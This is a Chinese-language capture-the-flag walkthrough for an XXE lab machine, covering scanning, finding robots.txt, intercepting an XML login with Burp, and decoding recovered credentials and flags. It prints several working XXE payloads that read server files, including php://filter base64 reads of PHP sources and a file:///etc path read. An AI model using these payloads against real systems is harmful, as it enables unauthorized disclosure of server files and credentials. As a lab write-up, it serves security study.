环境地址自行查找
1.寻找靶机地址
使用工具goby进行扫描 因为我的靶场是搭在ubuntu上 直接查找系统是Ubuntu的就可以找到
靶机IP 172.16.1.183

2.访问靶场

3.使用目录扫描工具进行扫描
使用kali自带的dirsearch进行扫描 可以看到一个robots.txt文件

4.访问robots.txt文件
可以看到有两个目录 一个是admin.php 另一个是xxe

访问admin.php无法访问

访问xxe 发现是一个登录页面

5.进行抓包
使用burp进行登录页面抓包
可以看到是使用xml语言编写的

6.发送到重放器
当我们修改name时 发现页面有回显

7.读取admin.php文件
通过php协议base64加密读写admin.php
<!DOCTYPE r [
<!ELEMENT r ANY>
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>

8.进行解码

9.查看用户信息
查看解码的结果 可以看到有账号和密码

10.对密码进行解码
使用在线网址进行解密就可以得到密码

11.进行登录
172.16.1.183/xxe/admin.php

可以看到flag

点击可以发现又一个php文件

12.读取flagmeout.php文件
<!DOCTYPE r [
<!ELEMENT r ANY>
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
]>

13.进行base64解码

发现flag还要进行base32解码

解码之后 还要进行base64解码 可以看到flag的地址

14.读取flag文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY>
<!ENTITY test SYSTEM "file:///etc/.flag.php">
]>

15.将乱码放在php文件

16.访问编写的php文件
页面可以看到flag文件
